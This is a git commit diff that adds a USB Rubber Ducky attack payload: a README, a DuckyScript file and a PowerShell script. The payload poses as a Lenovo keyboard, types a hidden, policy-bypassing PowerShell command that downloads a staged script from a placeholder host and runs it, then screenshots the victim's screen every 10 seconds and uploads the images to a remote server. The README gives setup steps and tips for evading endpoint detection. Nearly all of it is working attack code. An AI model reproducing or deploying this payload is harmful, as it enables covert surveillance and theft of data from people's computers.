Add Windows-Screenshot-Exfil payload
parent
3b30121b9e
commit
f0cb608d09
|
@ -0,0 +1,67 @@
|
||||||
|
# Windows Screenshot Exfiltration Payload
|
||||||
|
|
||||||
|
## Overview
|
||||||
|
|
||||||
|
This payload captures screenshots from a Windows machine every 10 seconds and uploads them to a specified server using the Powershell. The payload is designed to run until the window is closed or the loop is broken out.
|
||||||
|
|
||||||
|
## Features
|
||||||
|
|
||||||
|
- **Target OS**: Windows 10, 11
|
||||||
|
- **Exfiltration Method**: Screenshots are taken and uploaded to a server every 10 seconds.
|
||||||
|
- **Detection and Execution**: Automatically detects if the target OS is Windows and executes the payload accordingly.
|
||||||
|
- **HID Emulation**: Emulates a Lenovo keyboard with a random serial number.
|
||||||
|
- **Fallback**: If the OS is not Windows, the USB Rubber Ducky will function as a storage device.
|
||||||
|
|
||||||
|
## Files
|
||||||
|
|
||||||
|
- `payload.txt`: The main script that is deployed to the USB Rubber Ducky.
|
||||||
|
- `script.ps1`: The Staged PowerShell script that takes screenshots and uploads them to the server.
|
||||||
|
|
||||||
|
## Setup Instructions
|
||||||
|
|
||||||
|
1. **Server Setup**: Set up a server to receive the uploaded screenshots and host the script.ps1 file. I used [IngoKl/HTTPUploadExfil](https://github.com/IngoKl/HTTPUploadExfil) as it is pretty easy to set up.
|
||||||
|
2. **Update URLS**: Modify `script.ps1` to include your server URL where the screenshots will be uploaded and modify `payload.txt` to reference the URL of the hosted `script.ps1`
|
||||||
|
- `$url` in `script.ps1`
|
||||||
|
- `#MY_STAGED_SCRIPT` in `payload.txt`
|
||||||
|
3. **Upload Files**:
|
||||||
|
- Inject `payload.txt` on the USB Rubber Ducky.
|
||||||
|
- Host `script.ps1` on a web server.
|
||||||
|
|
||||||
|
Note: In the provided files, the exanple URLs are followed by `/l` in the payload and by `/p` for the sending of screenshots, this is because I use HTTPUploadExfil, modify this is you do not use the same exfil server as I do.
|
||||||
|
|
||||||
|
## Usage
|
||||||
|
|
||||||
|
### Payload Execution
|
||||||
|
|
||||||
|
1. **Insert USB Rubber Ducky**: Plug the USB Rubber Ducky into the target machine.
|
||||||
|
2. **OS Detection**: The payload automatically detects if the target OS is Windows.
|
||||||
|
3. **Payload Deployment**:
|
||||||
|
- If Windows is detected, it emulates a Lenovo keyboard, opens PowerShell, and runs the PowerShell script.
|
||||||
|
- If the target OS is not Windows, it switches to storage mode (Usefull for dev purposes).
|
||||||
|
|
||||||
|
### PowerShell Script Execution
|
||||||
|
|
||||||
|
The PowerShell script (`script.ps1`) runs the following commands:
|
||||||
|
|
||||||
|
1. Takes a screenshot every 10 seconds.
|
||||||
|
2. Uploads the screenshot to the specified server.
|
||||||
|
3. Repeats until the PowerShell window is closed.
|
||||||
|
|
||||||
|
|
||||||
|
## Alternative
|
||||||
|
|
||||||
|
Some EDR detect the download of a powershell script from internet, this clould led to the payload beeing blocked. As an alternative, you could take the content of `script.ps1` and put in directly in the payload.
|
||||||
|
|
||||||
|
```
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRINGLN powershell
|
||||||
|
DELAY 500
|
||||||
|
STRINGLN
|
||||||
|
[... The content of script.ps1 here ...]
|
||||||
|
END_STRINGLN
|
||||||
|
ENTER
|
||||||
|
DELAY 500
|
||||||
|
ALT SPACE
|
||||||
|
STRING n
|
||||||
|
```
|
|
@ -0,0 +1,67 @@
|
||||||
|
REM_BLOCK DOCUMENTATION
|
||||||
|
Title: Windows Screenshot Exfiltration
|
||||||
|
Author: https://github.com/thomasboegl1
|
||||||
|
Description: This payload sends you screenshots of the screen every 10sec until the Powershell window is closed.
|
||||||
|
Target: Windows 10, 11
|
||||||
|
Version: 1.0
|
||||||
|
Category: Exfiltration
|
||||||
|
END_REM
|
||||||
|
|
||||||
|
EXTENSION PASSIVE_WINDOWS_DETECT
|
||||||
|
REM VERSION 1.1
|
||||||
|
REM AUTHOR: Korben
|
||||||
|
|
||||||
|
REM_BLOCK DOCUMENTATION
|
||||||
|
Windows fully passive OS Detection and passive Detect Ready
|
||||||
|
Includes its own passive detect ready.
|
||||||
|
Does not require additional extensions.
|
||||||
|
|
||||||
|
USAGE:
|
||||||
|
Extension runs inline (here)
|
||||||
|
Place at beginning of payload (besides ATTACKMODE) to act as dynamic
|
||||||
|
boot delay
|
||||||
|
$_OS will be set to WINDOWS or NOT_WINDOWS
|
||||||
|
See end of payload for usage within payload
|
||||||
|
END_REM
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
DEFINE #MAX_WAIT 150
|
||||||
|
DEFINE #CHECK_INTERVAL 20
|
||||||
|
DEFINE #WINDOWS_HOST_REQUEST_COUNT 2
|
||||||
|
DEFINE #NOT_WINDOWS 7
|
||||||
|
|
||||||
|
$_OS = #NOT_WINDOWS
|
||||||
|
|
||||||
|
VAR $MAX_TRIES = #MAX_WAIT
|
||||||
|
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
|
||||||
|
DELAY #CHECK_INTERVAL
|
||||||
|
$MAX_TRIES = ($MAX_TRIES - 1)
|
||||||
|
END_WHILE
|
||||||
|
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN
|
||||||
|
$_OS = WINDOWS
|
||||||
|
END_IF
|
||||||
|
|
||||||
|
REM_BLOCK EXAMPLE USAGE AFTER EXTENSION
|
||||||
|
IF ($_OS == WINDOWS) THEN
|
||||||
|
STRING HELLO WINDOWS!
|
||||||
|
ELSE
|
||||||
|
STRING HELLO WORLD!
|
||||||
|
END_IF
|
||||||
|
END_REM
|
||||||
|
END_EXTENSION
|
||||||
|
|
||||||
|
REM REQUIRED - Provide URL used for staged payload
|
||||||
|
DEFINE #MY_STAGED_SCRIPT https://example.com/l/script.ps1
|
||||||
|
|
||||||
|
IF ($_OS == WINDOWS) THEN
|
||||||
|
REM Emulate Lenovo keyboard with random serial
|
||||||
|
ATTACKMODE HID VID_17EF PID_609B MAN_Lenovo PROD_Duck SERIAL_RANDOM
|
||||||
|
REM Open the Run dialog
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
REM Type PowerShell command
|
||||||
|
STRINGLN powershell w- h -NoP -NonI -Exec Bypass $pl = iwr #MY_STAGED_SCRIPT; invoke-expression $pl
|
||||||
|
ELSE
|
||||||
|
REM The USB Rubber Ducky will function as a flash drive
|
||||||
|
ATTACKMODE STORAGE
|
||||||
|
END_IF
|
|
@ -0,0 +1,69 @@
|
||||||
|
Add-Type @'
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Drawing;
|
||||||
|
|
||||||
|
public class DPI {
|
||||||
|
[DllImport("gdi32.dll")]
|
||||||
|
static extern int GetDeviceCaps(IntPtr hdc, int nIndex);
|
||||||
|
|
||||||
|
public enum DeviceCap {
|
||||||
|
VERTRES = 10,
|
||||||
|
DESKTOPVERTRES = 117
|
||||||
|
}
|
||||||
|
|
||||||
|
public static float scaling() {
|
||||||
|
Graphics g = Graphics.FromHwnd(IntPtr.Zero);
|
||||||
|
IntPtr desktop = g.GetHdc();
|
||||||
|
int LogicalScreenHeight = GetDeviceCaps(desktop, (int)DeviceCap.VERTRES);
|
||||||
|
int PhysicalScreenHeight = GetDeviceCaps(desktop, (int)DeviceCap.DESKTOPVERTRES);
|
||||||
|
|
||||||
|
return (float)PhysicalScreenHeight / (float)LogicalScreenHeight;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
'@ -ReferencedAssemblies 'System.Drawing.dll' -ErrorAction Stop
|
||||||
|
|
||||||
|
$url = "https://example.com/p"
|
||||||
|
|
||||||
|
|
||||||
|
while ($true) {
|
||||||
|
# Add necessary types
|
||||||
|
Add-Type -AssemblyName System.Windows.Forms,System.Drawing
|
||||||
|
|
||||||
|
# Get virtual screen information
|
||||||
|
$s = [System.Windows.Forms.SystemInformation]::VirtualScreen
|
||||||
|
|
||||||
|
# Create a bitmap of the virtual screen size
|
||||||
|
$b = New-Object System.Drawing.Bitmap ([int32]([math]::round($($s.Width * [DPI]::scaling()), 0))),([int32]([math]::round($($s.Height * [DPI]::scaling()), 0)));
|
||||||
|
[System.Drawing.Graphics]::FromImage($b).CopyFromScreen($s.Left, $s.Top, 0, 0, $b.Size)
|
||||||
|
|
||||||
|
# Save bitmap to a memory stream in PNG format
|
||||||
|
$m = New-Object System.IO.MemoryStream
|
||||||
|
$b.Save($m, [System.Drawing.Imaging.ImageFormat]::Png)
|
||||||
|
$f = $m.ToArray()
|
||||||
|
|
||||||
|
# Set up the multipart form-data
|
||||||
|
$boundary = "----WebKitFormBoundary7MA4YWxkTrZu0gW"
|
||||||
|
$fileName = "$env:COMPUTERNAME-$(Get-Date -Format HHmmss).png"
|
||||||
|
$body = @"
|
||||||
|
--$boundary
|
||||||
|
Content-Disposition: form-data; name="file"; filename="$fileName"
|
||||||
|
Content-Type: image/png
|
||||||
|
|
||||||
|
$f
|
||||||
|
--$boundary--
|
||||||
|
"@
|
||||||
|
# Convert the body to byte array
|
||||||
|
$bB = [System.Text.Encoding]::UTF8.GetBytes($body)
|
||||||
|
|
||||||
|
# Set the headers
|
||||||
|
$headers = @{
|
||||||
|
"Content-Type" = "multipart/form-data; boundary=$boundary"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send the HTTP request
|
||||||
|
Invoke-WebRequest -Uri $url -Method Post -Headers $headers -Body $bB
|
||||||
|
|
||||||
|
# Wait for 10 seconds before the next iteration
|
||||||
|
Start-Sleep -Seconds 10
|
||||||
|
}
|
Loading…
Reference in New Issue